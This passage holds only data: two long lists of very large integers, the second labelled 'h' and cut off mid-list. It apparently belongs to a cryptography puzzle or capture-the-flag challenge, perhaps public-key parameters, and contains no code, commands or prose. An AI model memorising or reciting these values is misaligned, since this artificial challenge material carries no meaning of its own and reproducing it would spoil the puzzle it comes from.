88848320711335050531061852541999131117650145194300795574254544008850188822350105989334325107315118397525525626051148292430296632602782148418973484139751676201649705523147718383891667967024910558091584934357251686807987066694312897607409911435658371495165288610409118220193474831490330179665845166525784234191, 146975649982294099091588939324315702154428720826816118138169815762912867054153207320694449106053705153714197015752221981201254148434996717344927461954386506613874897770409978249900125604184535620993419535486257380632759476183144391390153489944892431926584296343356556299300844433955844174851943549978294931809, 146019543556749251200158489282007360672446583214798833603956795204935944704375097675092485053060760428447817216305833112608076589645237420529038109913432518862904278860681114683476104010590248361763041954024647773953988832085813363511235249355308523656239229232972611836833945479835828991531543030269860208884, 47614382827281816816865409777282381130972662622486587179265285395087699715274582875374375663577399560232136128320761826245223077592218593486687014255449854223987169067871755296028718017436681586927575612458308444858325081007002223253655437004949208438279635456565421911374438855006227416395514770354374969405, 138000807295338983214856476511729129007519658349160688162143140227603837377333910791579593186186375569890084086197981017900939685525841625241828140819203545466325209304023578058843771057790327147929095451091989539341967210192801638759361821516394738667548104667994129342761967491742726534229680115061686905344, 69794083419923729267936865460617391294884388169161221412773380688097078631695319372530310847334479310611435146741802913061862072088479506401317302498127736725227866633610154563573801731524499954380298275991704149700893632616245186641960336888270756232561392860604156470319100482514825520361776778571068800260, 53575787007649527956320705280994088722152130283255611285271046220625110120206788089118551697065433620954643891340826553740160852135000088928528683264387885326537941832764228283972952735389444964706874869434659974903461485210005002220862885458643263882083822240573936582971377723223065221822739275550224397856, 32050985629494024164623808558474108733409131850656261125076138185770911248022867946428656641428805229004078817225606790338811855747218400127043961948010780758543968295334929866370649956140693273297838442779454229965557972913850531178545557657148710422519212612947923651514158675417453862960722658749009767100, 148856314872420655984570944905948402895291340516699870201962261548485787962000013131241297854349237562017820118086502113741102387334944761353433920785689454006346347855092100026686987145200858474904383098191736239096119265605990633589030396398603421275511134069217199445076848526694690093815643117554821655352, 111080444719471725355310790064149201979513966725016634504859838335628318449831698996892986433195518693064484608502164321626469803560114704777928399556027638964755976719752991207472019601824134873190348181685277383728554923063420187124445256888385998062574757986374823625709102685748965610650534932690138027647, 150362229262652163228954582010216457122042769784445719085189195855558273309381972056452390793470498693216769222602961774526378764258555601413854835569502546327097973006773966867269302885307340471995944857951363541162222576789649299911700391829054588849882343032660182895047422655605188001704253016417844852480, 165525843386566993396771180087910360809738209840746030050498008837622605339520854690707062457590940137326780822966599918472707381603031434237239338931719086913914423782357237788780023718023997305017825276421382094831518784669144306265232933940136621594913503566854581099741856831497696147529277392235906219555, 26694063963283174826949620515698325744020165429132478794630427848395945509879818089467051686131627028889574004522907775965318474767451191161252805816390490197413735912632188771858915843736510877996078474438664965616761034361293437704197895860011068050384427056186990145126929394782849194344447460343584837797, 64088244723080680869742334782725639689480251113221340487313490717721843382389942427037675193349957166320625561265631332094808299296921113611746863008313345985526060814502990560714484321137616373388099439522065446844850462876247766599769784587306394902031254899345059834545026396167082048486563101399872373491, 50619660294760990178688143859309253931611226059319612011696150145352853015069248508317997609943459357246912772505379609557467441162263956983306683802004701158203690727672463853701260735886814991383517899214758565904244166900893582209123888532180884241310593710922166455207340799254797429952482126767907107975, 88532432778217013885658038479716933990565311969620059784546918484674631857474738779687743681759857267590854035849515629846850064274914878503300934412477840484141799478201157898861986487489421870027387319232722885609768921991333291373693852352492981365131371534145620342717333632578108231718311881900307932042, 4648923736523199438787070018859427117930851555684161819020621290580585965246564812056468475541818468043777976063761333427404740266749824497342666315957274310286793125466796126555198899349726197166049296111542459145093587878269117554374749222116906628497015185818473163059417366370237087833168973989828095305, 70716651905979503352308998227928979293556686235755454666861115621003441553916934720934709487483523303301291422814055837971454695876816031032305244283286275571461931918524271333488863012749503955524968677007949454543331892397104166255397080037257558700194716847118353756007972949788920455886427441357209440042, 159695222249940199906323749898679800264473540797051496459090421197129707552565066448277119220522571680462829563553555212612359045842296886934861225170132629077773507383339480622819995074889913879401881921155195288180380511230729646448420355504866563870520413798104740081200966597703228805380048909419160458509, 41116680495516562801878113830164375316089419141309546969614393250014160325421979774866119383257704922247609839077606216870501090632341088701914859807083831051295989217512162798503831157823964157906848071857315235298446944407628584665857079678343318270987855395077694620066557718347530889447985317217665618150, 9071989250179173632936369532311606409832782374803091085452637049980271701951799925451979230207793038481699076318524835400280888040856452579612185140034663895985698624474722922197283538666007657311969956182359128507387017776463097776141999515725857882011738226834565988429921729344398362177475947483839202794, 110960664689701742572992777767999781221172876059469238366178348734534778438778176369496933858715786122627361288941570999355864238086530601076031130405498076441039609432312541141650132646194013920350359227983231315016744174904470082470539595507232280618749741523341810960312034435012572074237600394432414857977, 22118058129064475247344505462408708818302959927052269606567391264224679199375873733234862130590114146083598387827357137536903932258566824779236621172109447021497694797151719426364914274816615494223075558066366832958995762705442002746251869684088672480190670068276310691891180923200184542158707338536777347154, 123638519137715778319025499513991543196133549025855046178022088552171823614737192106478085840496720247622163867757797574959842740366982953177302015119971368629616823968406862171640461350579288738103946415339601738769699681420984600453966096729881349811413357302159107934143941857286746023423234721275101662481, 170699373471253056391606603178274881547615126868329099542655439837207765202983697012333145113590101023029884807697386575051703440415957592508652855865871371228641890223775706629650868455815654439654881395055867711672173655626607892478057303357788554809769104264362721745413297749776661608230450979454587878078, 153430357423073224641725650189939318816974915051465806046496955199861125648975622262816339040863792450953190944661922536644167606785098998190783223157293023171039572727447782976839628084556547059526318528963093976734308971952514851509606099840191419266088143789315259632885314431917986163303353439591813847409, 80656085340813961917879201251383824882930606263700146454514522382837419911045739629405705265762710388430009825986254616603323531773585378746011354983868103700785183153466275506187316714819874365837302825331046283069485124143740749293539124343533688537983846573513041049594023507155353026573831862223298816543, 134368103737808032642365285247617823078783975069534298196294832423122316642505554205940667289496009009624356469432823247704651228729086620193030921296004923845307705847806450602120884847645519096954087658173999189750498229258206862845812473736881297466503938075857337918397364829734759921414977246496292056113, 39404613165597142871701936054331362486701772145838493977101751054180717150880260305676235384055190383081088277859785151401516352814564808245254685398438995410957912919204344350132093513307549392178708591481987658170444202743248776194526847066543900816402320819230003255952871376178173557803999834229033211660, 122275879448962513289273322631814760333556202058608561688853686290820289738511846192575326815656953370895236745686221841431360623011733749732098591459922323857027067149011706621295380620231302867291570800131305660495863511964707409233825445902522836227495917739788721247412112944247266300454473611586021668331, 151830527999342898956308843685999725923399117661523114628880470971576147378798229007713580813961977699064587948840104246648138885789960451604914103717902872133303610199450914387477339440302082575311877381480626303813843753260494379730733961252465609927630317723532158371762875722623177862081215786456749533243, 95977339457498338037271436482505051150746975584882677036973111355073968791733896215724566049461737053498374756839180675304420558072476811019649322090389532488169368156344606049691153352393793251020907465786294937572990931215565170657812474410602268600839456248971970162646338797991150219795615653045803058790, 82803386863200425616233382262465397235577139694822892001023284161990325292078078781439645702152295305654953667549937117251418778445095549453415300475919258721398886224478441587522000869485050864787373649835430203766767100774656925356819877394138832273583602356532496063165704061993138536331509563387968690282, 103655254253947954462212943803241614002450405762014140723944320621294671312421876896336700451739556898286593928589386255707621535524738615921535499410027497737810272191480611816604438593572363417701282035281570625747028153411880283880362978880795399142526803990127949662645957830800769019257203735079149411019, 45575166572489161151694420497857807810299217937726420255272532264400524402782296916402564507716271413141628666337262343922310508072416721290386583353388713362521016044653564608358074051400021818463856719236266953633743347353115574547171981129130840157687623596303077819157397168260518134530632732952298672603, 84647357745725966648865247054247093706034013171547633264449988204124249988980969524155220500849596769262579707186769457075618855358778453098284092408769175545600002046588197167509150347432502522634190131939659916160027299870753396532453384670538319871188819173281548949554301623496692719682828927593631740910, 121373258738811228305760901490623912025003831773495223952207042356778816258472379619082314766204960123233891595879227732745063865149799097386131590230239346127392092202396945359076876084070932513791195277055860359965126514484995493745127385864570357403426151924058021171024032987185683161809147205254757977905, 39696657823577221603310173567439031958785452413741453698465067618551288919920957776972726103962158779854909019148005757989538366016101989890051339766955614753555990815894853583966327817320712902594505059517548329568574091303901753640941469380202495418691001745741928166314151257830140112999830998066124112117, 131337509688097906700059572723610967502024572407633713576032488764882220274664667751757654158734860756106430111365213132449808257847444132612446211359665309893638823981584651115596475046867127652659035491531754775642555481519743533629194379255042287364313815071842555202687462261065006950057871024787141735232, 7802519740257801544063726775832606034238386434469819150157326921673341247690922320325480481776181267992011806784796745410237120750089993114951437380515282438278461881230678744551186126048222581170511890578590715830071696545024522937544594053875869081182170602852771788979813052835884059236467399737561781403, 77126550250144502800820575280464209855519746615628735257449147491346664673400873146239752894924103559940776091036007498021941558167533427225486076830142678900797689596050189277071142205854913552559865602624374906387148686103326708068412262907019101039907022542722012627950760560052062411643229593943624459066, 40361172952639038345819637728038434378176043611878958227901562931716851792363817694166221323004953484431923354758248729802819973822037884578127350200653412367590043754419357848641056811891670966169084075680269023692187520449092045452680880855164473638769207212395498625683101141128082877872532644097506087543, 161959049795492905481266692583351705107145617162942203032509336503418179900103990613834240995498097005373666290265733746713998137418901082660854590163546169067034287120530653538740896929756092489508968373568464855475766327350609377897495741517580453971535419934355147007611747036498236507754230216691742817853, 80492359590916163334463540655733489544251595385123363774718863084943035313334197542521077955725353112234731918762292054543732818590692787454914273272275276844079224426667106618456762333811714097717247575422761720867046370037711160237494800153901876484611965579367189500932302393271320925122616380866235714081, 32615348478308210541031040898596627405914195922038880466325411480224903049690822021689957655761485654630001540547366874837695210111706567621927359045853656088848539797922145782176521916094302549980164461490604115522425100541809439221552465961940561835311860737065428518918341818912903514200887314762963208785, 102140967236447277496415181974075746603092787349042200442696047305274471276936756699031356053260430184060373440142492617824855546335030190055021504279829653482847859249618200216914743070915675450719461652688443841368542450051059534687684613034755877227762774592498574021509765935320619994685068068065493950307, 110602384307791371313275926106072715427882359673804827091759875675584583369542370717190188770286127640904454772674156125236152445126516840255979094523995046025301831605874953622220080235278883545776211703047040405182972453913980046749346794780321338525585635910793530362183345726873006992784947049074785337688, 121294366800603348118285048583915783719914655257394549801867089152851254698681262821796705880735608092239256670833910595697087806681628004340238400561900710952811430576348334921587242352577664162326006885321743402062839238776898206353196901293283670793759040775743595802221689317221992017167104971573201519761, 134752581082477484800908632165873163623185837300973577672032430224824115157705595191923134414853391590988787949139281453006420592473702438768517840932019649340855446323187644481793590019138537640896004018979421589366768104910921105930730568978669756919370001051786856584871794619263945298711819576393817193384, 79462543470483875465445434997559246293761277535556920318285206793798317328466009554162120150310050581965629137278177133384879698648042052533882784427954159883583730212011708726928003143617882587284665536421611414411039492121758706531739536256873662193133488153159422629484578120634518869488644057019568761892, 17743718876460782296246711334817283136194217303846649530628751713112248501663212245693564696431159465910963828608212744447458367781741647257091767182218638743723018514503051749934295477879332062414911729965787053088871734301204322188201527746465126229156650962891324658215605359095032988828739515916280485439, 38890566049831836434110357354957676740541045712178053457320757206718457900754421028635242948728433798666960635129993839662274461496478720358183503522692332930966277958885699869912786951592389962195806361956540215434684305987272918209806468464154048051070814145305228731077719890884976031667120272189159801244, 39809349077672989923696728132435155464036244891198138481274198797568359695799168488141676399277332623948960925407234013169353685171305677137206759450872664422618096316311443697620955922808320446345427745939499244611234132697912702368996461937048119211008898598359307647494868836220804086713601519412701274606, 119077162587130511579343780291376636007457969422316058190621439640510043939145224255502660280858774214892577162335744028144699665274942476781932210211723901468886556355531904489729579184610218652753507526915660690213531933693149721368855563231329678108110810021718937384411318711576633278750165493309590766501, 161416931980713974249056839023446617493158524679281428779716603738513406794875368052695577109537670792887785297937082669488641711651488709303595315193742017892978306947468825491780869149775327831158729942766861177493190779796419373518380607343108947875401445984260087116390401133095422592198798196827979344240, 114278863578458686691512629129764965130259483804191560464728120361418571817406761258992092792406233224548785071111480385903442879578290456716848377600312058089606996476049258792307064795447620768075183871224974878027087718300684612717732331680328656653500044332237418480068971595253291745010598389972728463564, 175849652525676166231064366880069979897445016839447580586953450711633274811111242606677865889941758141027810027492405686189651269148727321080564748859352973174227910466785852658765096914920807224963113366878430558577087753961333055944933371717462318703618208891028375964712580265563451410022641760683512880384)
h=(157011148111730231271923430668650111096613389662624816247125533775353598658926002617879245937832957265517418970240172417672426817423144875563871878085291799555824734994921398946846529926010395494046735543748850433522423739252058987522615121748831913217490246674702554626380590981272872440258339074649839505518, 29603639952010307908261462365131884437609314932681424407214252074103642504179513828808472887462366581140457172810396122486272520123495446426381578259425077945150865441432274472579320593174018114006821556241861262985082887321247423915998310358124833692365249992394263859304572699522874542146668334533628858131, 149117059553104349540552898454169149741213364720997222303175255623750281268983371824332725724236299198339024044712203080857130335774513243681549923004580145703842674754352904301222123228881453802846221662434973910178305240006237961624745997852302720036042763771743722900741591612622848038248336850573570882166, 29479823538833824256432029628586827058984818875714466030276586018110806167368881418687113664157148802468325512721267399214196024799689913943160730737167456284989181394995427833097347926709375601862831725534183690617447939047826239120503462406674409154985271671274675994911737515877535740025891295391196642214, 144303699441823287745561776565327679411150382479343422367192590498041855947416884049057792136224294037018513513159972695329957199974942824552091828416366942123170689681602905941624427719388332349695598871113933841528515252694489459951926712790346515829747143128304919397930953366904195317264012678559485416749, 70640444122182243756568160428538027692024457868618764474064259861242598366131398007902304963338058314564878997969561056112305755358749834993283539060502038376253144486737486587439637540447682840571908236806162560874420052881943934507850814460665587315040109253537324859119559149520058853189265894610012454835, 116985336525147091411304347514633856384876432031430366973983156695220683930283901732586282608514828356986582061843812223344693040282522119554726735079474158486282627721716378750991219168566593294136133236903207610275828096504171670616433324538458202517244968423728355426912808183671235672633666117985477010161, 79991305905336106853537740264772974129639824748780574069683964121172649771343817991769147407322766693715022374542503091186264142103324407281226969298952638268575881949455392565702698593705751016806675030615053164106628838896836491304230705376385000638250280312794065596337311848209575780087939605063105880147, 24415730342922068027010567190765575706865570462207375830642490922378860380116385646875765025608170544661374525799414419860364702602579581151180145273156730324349614148667143570791145685309194971713022274750878635959582485493329505638913023634530744815634264741429095673939869400589823769016269441740296676610, 143018342656471398022795917788581273839063125006132882331654987186965161496736584171255506049958013941998996776832645157273224400067908334863020740939443112927149779874045041457040418900445782214677628309811368365724762397065299736563607584147803665258086596289866976327948743992702222756206469227991915608777, 165617363963907012906920362844451057523268484455085484530812334923059544495188139630240104728323118535747624747609854276353532723707056388307224153934451311816382981836051440714607142474809489523390505768205343488519382808475653669762966417770016054276323790844297749448968517358870637431043310527263288572055, 140379638804914866493737146849985916527943236172618120632047097790055837990502436033399784116290662917022988526870373845428097751889086825099521185105760721754339648123247397771427121073079778596356038854097261336706584464578619410196243526870855826511057066342428783330268193751770709443953107906883451029938, 128922668705335550492132515128693832088066955431020683262041877684769543993130785485629875436796565907759706202906074185718307433284577363754742276376203824625315004284187745421479798062998390006832198052858408035468390508299966353436404515627069484822381624189982910739805855268817840419946117813636328651123, 173817366535697821200907457768004469962310122545553649761133469938750432377335662825433817744986533152371152960007450429651361336434481806548335998841713378017584892616636648580908531524460554907039218315359153603702401143677590259292488504966460999428712478473075287402899270426724585398785722947486685145021, 121084706459046132585260244771038701902805103218702295640561738872813926853832948891325719238081016348225929494388833357785911547531223984820189851307473574117073058678551005631943064425573484063895848712620212647839486999549546772763864662428786265170402674068522116814614933915320415253882673153932178658364, 163679940170705773450616899998528124070308251785956795444111013480548753416012496483238672665370376429704663481605847070361753514949800165006008387696388105900389706576244528317570807094336604336997886739303220627119482667324757603494620896428812082842352448419204853651468740807318885141321472343567401785996, 129863881370555637045757202630188504094780722221600634401571176706926436339418847871880916804286371659989180037323888814558856541382941827374751386917288351323978808764497682307494973868793983538871908754662295094578897183945087249158376928173247549801378853097713513238263620311248842137804663411546779246986, 12605407662306814929879535242269117969340899832608577013313504119057088084853272814218204085366206151237377922221314567897489365065338783820399950153480737071627602718471109168453203360136697464512823271965470160505189585545432068281216844430683786909340875187429703155842544338684949331700811801837984057898, 1117046628208009291453788731645237832322399928192779814800731498426085745835495180772183230752890195876469685330148568103117209269076211015257360597369844141815585888205723250932819459865125177133713458571734928938283897470325818358975215753804526894889127166859928402217284548628666561806230121558111119930, 91531252233759967247110581223272871475387354351627321100308404555457495865624627073369903063624508650528928665661975274320837995781769917837231005748690586926608069389515818441436819630618793661623742438995183483586922650971485890593922362181141328160006532973053577064361271502381157118016309899722841911487, 68859618549388106269913731672924355820501160960069623764105396846737310223895169110005402787799379225473855145406594255860897107999355090660412843506970452137888071288978311864270216433675963891016737703484846071455784451497545039339286393275383507189988799608387366192901907085463120084183242301770491430811, 94299052563225973959837156752743426788345778908458112584090645294044392593190942463011409859892389661472315187547883380501982714477168042797447575191427553945207225304615177848319047883899281261820113470657324429725025091888211434356423197005446673758989708304488286370092712743681380470975903482640544962026, 57406231479153471428552122651370350732588012080582909343688108723547073664393479521922426737607310303004338296756108038802419304462871580147991349603985479234072008256099569931032520914518671199956338522188536485412703476027346414510235842480978386713899730442969887325377276526784894711577274619274557783633, 21820369414293302544027851367195459065320637907181410722967312588489012794738288433096401265804240645287347414842426397373718011998510723196625977616261132857217607967781542966954766392414410910205613192655056940193659445554193421991316562050178754813719773231467365377632407501400277755575160672077646692738, 170798197857625803072108927859511322608215298041972662892113548062514540880517419878775670795506977232020333116422925995361424867914524954810851763301451013967805320425074223306049773929259637309623164886217633848599381146465264459803203241404050106901342977342675447436004372582493986851016405910520778823507, 16522185688387777232412639030612491537758278316212226802115886621623518730250753015841195088277384968460352652531886286296652294789972106654376887350054118953639905279785678232772749346235825155807669835482058743721153565027330638330988935344976025904638985291694805262066642783201100700135237176399040124090, 44372778596498815051909738172731782995406114461508916904090413161947650164234345232214651022132005357826127787034399006149425532586229067771394072669637914319301739779228534315147541213293184564928991188295552407917442227966364888150621008501197506484502287650054723779351029877863591142672603239801768324874, 57432446574716638694086235679973410326876362389749999664693009714293474876335101317509195438392567572412482226032460191225874405779214270976456328566619784462698026428043706765735343213496891633819184764568580119656573066373429110629449543088013516614243781028901991129610651983487112442699066312443973080504, 22778890098767900155713916360599312010249910364292972633751969972590726177640059074722882866782280264236944676013807365683929434670102418080007842248248068598933938346846645423819518979933440121226336286845920958450562872523858549378835045449064786164888500786151626074135333637788472543930390423873001183805, 53719216800579789082094252830390186675158146317852126000013271769655471325943124649970788721710401619037834521858872573946630126557104280061926605476301025956122022606277690434069913172745571187242602567035423332135744981314171533503752201177028764826794612051107726175388781033163632609203535148081700719655, 166023697746210494081272866371385309746602683659483862042646163808540307033751044964857156499376262024070480698552280933631379379218945606493217976430158867707824283494776635885799477434240895418944748722436821452541593667980062025797220987124496933758935486829266391511677221951931155993514267493484925916842, 175248620653183940929060195054024073608775365827053989577411078111191659168371455789941287432568565166261195616777555157076208433353762882050548884968157315394823472074173468428066478676597740414785805181543439847216432492128097958147992797039089650186096490762664047129264868364674756358450128609876501312746, 96506219559424773871321594247679181108096819933759600380071927809431187442779595820051481454722896543603442772704056920762046182046554561232813836972263396673475792784728957540869456372705254362627007036425539685066074983910678171582775923674571445191110211562013749628557404793858523718652814347359910482325, 55354765759935217605982841467607756479511271796683830008739956135718213989263994901759830092453701090002203646630527253009503887681955822797246852124872440560352318679102581618430287053572388786608025168174736493537663545770147925057774362995413227733195307752561278237820680459810906978693290356847655507854, 79628220086847643225125096069487816089269719591897014010806544408948884800602282079873159854567927706678072493840299847799333918755257048169988162146140668344749343127855498346277325946527835161926217383803047906125268017599774034258656464146803779162834868570645798991479941303900389146308169421442665391183, 129760460211326100872799405474787818302975639179598335030727389433136633901425652100219800167224038209593808676933313864907708996805747993530795022105986587908950715379361037219751513878755636588298415715094796404437542073794044980942055493870507603383323253670334590342483249981437770059874424261948035150735, 136366873956527023025350988279621886099787315919483033610241647064606461485052980472354881569050547587825550525121325613998421798654981426292139978353363349076372554101457175482366631190934121784346177884116280883805469276732192632671215570641442262387100621929578962988651390395857596129011063855155071443840, 41304231269727617937129565042581048663042658375171215609874848507118644474296690140174556355223476668839010904099989561584224589746383850368400711603305985110981218500588883393311991521769839820473074896147457741695935036322129785397070563463098644689192541677478492411253430063257577089884379385388706093829, 30300200756966116198874795105907836776459681928740570297893981995481584739932117774727546089502235895359117186380769550534092665353646964118627275521688687607866909047292794404228730408134198166019666226402524668224865935334775583737518695953851959902331884294758728645858132841749816146879635779320717141778, 18116476398119849376808514208040585662480413591491768566463147938513215585611110268250403056806243915052173938806110865582900176100339325834119983912831204765031513239229034454056639135566257398146746780690136198566068083319870946916632778111199456359025053805534988820210395615299977452508154988567235705784, 44657940023888645785474421024412697800000720109710848060072125830298297711136811097852565075678768641552634807815073805266488452186098740810728450037650739891390938025796523872924341628762274920935686423098493333700198888315898494214770912708300694813422601228595380816912500545243764190200510457177413051915, 84571636231394446688443297893390283778804507498769610547221096321973558510285162889130708427740595454485779727397134923577781186274668167192590776865317055101379240757158861624211060817651114642704522768812072492864274125315217495200230878427515187106960475304478505032983272101641774911660879718615285660500, 108046209560793548298641776284157362814368101760063643391179499742312727151049982688926801542913507492099701626367121133229778546371128415606392892971758966471680115697074705607166432776494018136327926989416095106547158667432124595840524159474336861458041361009697675042296292581191147926423178222185603485272, 158378831686695601014366868784330291275251098032891701764887174881667507738085593652588681207362205990237698284496116327065685163075001588688876863273811396935061772370404297766072541867596015702216954004099267754791062041664204776617965113332944190749016576621592155378063709682566747239463022425849170985201, 157344525490077668595406079676731927576721868726825400829999118323834440920872847409440990491277479198921134580512898661683362286440373478172793635006229695479021118382352213542634470565044683006702936447974781661896272678535632589198409385603039615448310568705304332991595816395101572190378502831238776931301, 60872777379496909150378944403154667628679108118431767567796252968205577779475975569673881693181787626564941836470406622659578477411612186744944644805612091188283154305891243695036695659582090773515308914251028751939134250418121454172068816531597747900854100548471127177757763017813274937632976309030456737840, 176541100775635520646361762279292506632407618463844724150198668512327230200176981527068570727975066678419940590508788959016497865381001736493767512655381415491074127231376659625778254146151509181494818297721294416866787112922932121573197181438748989317366354561479443981142030239102703233219188254773504203899, 84072878919118390426412064810372064467066959616841169791633479007687945745776760476544687133793605625749898967846863714011302880100327991874863889289785332744063981426741363401743306166191000706059874181935509718216958518397923295517652520212037270934465846198925225188631804574776954768286550725932982973000, 177125795719508524208231137476613162661965747572275755593473729146855425702902866855162626271444858809192966406387182490568024528102880898336376896153491802290655467480266879360438079307181873222860391456220409143996147862361543129257498848589342892051790266863069748792693425643194661908380412314191994146193, 10570366362009683892361929147344780975823211071238934788920328819464339120386054983991733518373428152237438833466947644512376805936617233709210974047663192069833666497657259286023227399331095235226869692947228368222598468297132079827529984228776799539002981665691976769653717222088161647914451271442078158179, 26136905779338139606960979043149318925138752933188485525734289241080421829193899289076996606365841920003800716293902115113231660305541823444719781675031531262244085716462900227950620818198458149861359593698905136010777794001855390474477680237854143990859063259520970487776254230937203482104521240561398558654, 156576768923612122987075133510735751044614414218858088083045575116589199034413311127644600420631256128625908033431548517476290623248310286460262808225102513371028828376522509596476046063537366492386718356022290390413669203698197300936480710050669368346676803753733375424513047731832570424117319918890749311086, 46939791095590083114389864202468091219743944579295634019859231958739688808545401100159986371122619542659287280979194840778138073178537491759925036457640703118453299970468458313984783985458332948207508125432116718298112929276564609790381130421766228411792204440025427173489006941988375774883736184001103050180, 74751520672959818132161409392793870552630299961102644043267884009838666748517208195409369713458249855025025181020930065995632607677558311950668690096641339488917540398555367287455772847784179299403182502237361459339006779090562125397033721908489986712271979907587910671190447908505164017953380233843469648329, 73899997575776020828301301097706645778866186827496397942703239930892916702724701136320099738097370430359351737833614299284810247599295787785173892468560499871891895548917184073433853510874365796495042175293038461320628974424031323413423059054600865523708702999106554619846012065773227337641439423364684118657, 32058188535030165464874300764698559965742186574403467190637035112481291334975479793703573437175555716889460638666593066306757544123431853538541914298179839329349289140241297171715264345537388992669693105888072504649844523811168869986833795155609243823656217526664454103821526428049369845546225039109934606030, 9190135796490386195136492141390526349093066818683350089982382207717453874585833401295795428635155817696741324352217475860761885251540155599936390251036721455395086582152056379192989648291025207698749295023873884587517854532211921012595874706806565404159783091859273355457006699197899482650099757943360270421, 178360759229357312877255595797428147021870035377704409614145271584273026018816501229377310781389806236463542386846779533673873625050996513653175548341106571664497964743753170871900320894400364938746134433028210101251806976052629389897268094390592934130161294563006750111593959359085950031124338762264376649790, 66310711903073431811525094811212216160979880324233766943549410317802916280847983005653048612102310786033034468696084192026749821701405067153808749894815318692958311642733557283584951918167598428297179411717217413447818589193389648053936340119471030678148259471105892342554334326654746318048136259925723571362, 46475504790921819394113461936157346961192088549482164898510580313577421226625154371623103723301144281911120596740271498584562138010060337835856330813524067986569198455744105806355229975784317937305107908789146587900497650299199062883596813681449246262630433312609603057770957657066184330293126944356649340261, 80192333670398931621158022137078741688076897397214509848362395355602746971270111895138012953622558239686533927081126814331024976982609902236600373887334340308012945852542787205500008655539695637726923182349927899650789132796661860707141999596919358826356450431585495003316696829667554586389006406646731900886, 15015181747403096860580527085347385237757940957921246557865491596388975725156346705215980377991381224362615029170138864440934139074464872610396481528532892530973696233181295372379347198509095696472402682801649910515185863413838281486411751783858702860849010844475877792623870128885836755755557661257355304088, 22600327672903240710287025720638488951380202277647398754735391731558595260610251049470939196971034839160316853527990877117162547576071813760562044231764726901792930661523958041697214032820008647943103664894777252199922675825217216113286451634404714967290810153734591690706725279391287820782342924957611345235, 161274458196453442002968811507764969396323514165366329658981785534163778366207294488930789097033216211912958599117003709802568734553181599826400960566598043056029806329076879776457470534826301292302664584284642141399543964442158038123196441084452974446550775699214143653086357236771881523152450125443273235122, 126220611985768086036110339092691132598866526301028748384281317141859013684684881108474377384751471020294655849147292102184625359835990335318828992736976457994729173631587020380143125473513291225500718866815737779349534769821066389714562235615203141329633376688210151209882239705450899310570223384066052596600, 61258861295959814673153246648975248666366339406690186407887365725528687164949342739808390414157415177356138047645239267251598784881385545803146454472968139338170985801158069104515603811494652744944477241377973642067019847650549963719549468035767418760304421820281346153371715877631963744567033466856935691288, 35989238088451509616942766057999328996749969374917055162670941881373958935935460625191911571631675276445236835580346791717467119808977117304841671973340992216663519840638856542609357907306231081303034404709525174863498307645150969342619869428078185575036446857620900242570035674885565037196792666818226764297, 135228095186648921504752724176577263475804979057659899728593212945841061656789160865852733609406280907094829909026374760866840688917931467044338613856727886019424820256554729166273296408456850190598348978921874995666236666862536202496248573418995101303721208040032699193838019984166394153373427978767587664525, 177492996031035482822979840163350736568575202168410658285164340749889854407932587133190124442616802514996487835189120963334173751514677522936942919267932059611151316857569450055291687637027765008489424604202800037417876843385803607474926700927800643926762449018114949705864068945530760319635743965987575208006, 146660342681809196990863055687048475190347764898145003545964718283428473325416519093629562484958493308579143100741046907396377045235432429762116438930191909573234197519002079951402189161886068091872233815662704415201582348956013134206146632062087398203260067042753886029545766127395966915041448138247208147314, 124029827859220923361795794616100187436548251839266063419319853848904580018013729942172456191826316248816609124289309535845158921068222929475446155492709700879662358485199184633564267764139768177478651707984070027443233294045733740713328605635567321087317590554033350354290570601832919259936099576613391184457, 168875827056906475677052557070303473370529764704276808223384496815522172156424638016553672966181126360893677491006681909296422169246244475930910286510718364028909816782770053893985044830893930026063959354993971525592986662013202670259007472638275560742505952456709655006742972268202780318370214942882542635791, 99391553449879866552242437504412158726358453567283200051127394202205088927845617690788818018884820564912577710041022305895260539007694606813283754970546972702844356485734670631567899670270696534145054686998624673648730078271909607869972334255406452941697124592432562410947159562971966095837237975388603230444, 40918398388000103606939847402188151906784285971871821970696774309961633477555736113579891311098587597900185522640388307214376411413058505074543336676074954790889457963701266261139447488583462032541820902505322335266445783919673701485973265202098549581259011706887553187369616552629166932367379383959712518668, 72892806302856774900369680599209460944815132418297638585541173669172309937157100691631104819786455310101342356904510899674213805359986118578482640571230582322402150958004406810945292859821619141535747598042753582170864341452532243327262094845278863281177693665460969207731377522528264398839450770632214220409, 144460843706100239075593769844323197257485189342627040741969494468805053381354031232566381560676856002592714267882828684928364768691411027558446619685898123021491808802233332407859517882589953133376894969721498520782253376214190157139530318962358195210212681638145961368955021671676457721539434655644913740538, 105657380032202679066810226661250808722318875353718922592642842639272435319952327688183402810552143512319385299755863203291023503474532508552956999449164567406096490403953988792585768584854167529520845686941843035929581766019242712557262792366316506106422186605375784656878209914322436164029264738991257701870, 90791691499559347992657965398862311585138237764878568788853168994606176625500841218537228726416436745414224692843859908262273571795295093090805517603141926933987882766622303834667371192983179800298657229015244459199336116221383251904031602603435792273571444944495173115223453416028529654800607042664817851480, 129861820339529663184794339968708638840127970218961964653808513362611484505600201172435055243302071779231277064897595084269525825853039789129619027793711626311145584015494356951595898153494605495624438209079139581359592778916897324912406308182169187323909438764952618813631507959394161909109580173220842020832, 4996179951873797830866608482814225811209438007340738532577712600111598615359207194510156406112987262544322823500028189115519735550098981815257024926112144806679661103890640904742448636319888701242274967852604902802094994019502999742839663468521291060315350383196034219816682309873971222400447019295901842371, 310826521462571652334724273045328535982210996143729692101717880217807505421495899735663152905105889510191518062181407149537698073412540127390546630813236611781798904018777714925927967322626814627385169638494272516451596923253258461335929229281699001496903267712946506709145164978972642931073872515372124221, 16889404108496879724263704668715637410441549790986710597444261958010116784982251677235456674427779664326751264984190290120231409379693082499800102381871448878162680708049428806212910295773855969528879831069264910038286720307434509328927419276489935240656387073742777022037539519457302146346775693816743907822, 18861963505644940173991904236063999079073621231721835331904304195863674015358482378698961677165801521490326371704092713572127136335987378499484295246919531687251833790816582507848696250438631780803255150705057480914226178678146439521252875768151429445705711009034798630021324493650502864438713717866799791490, 71910783018922961069422181126047006904427041215514164655004372262526832175278213025761840537338453277528869220451704165468545242296409095559725862059181312543403308626936446597954626092171444436794431169805719139139350374926538373395115113305137789017608874091915944629145613083667881736227152590937733859531, 57647013044223601169917442389455003027512762976346017334557376034031192758793844633110964725142624269758616072829633704743251619477783463602201552447362409831408773684767873638271024540705603280973398769310589184476139180941370137067415030147732652318345188364265283275947774157979712826939708621089486608899, 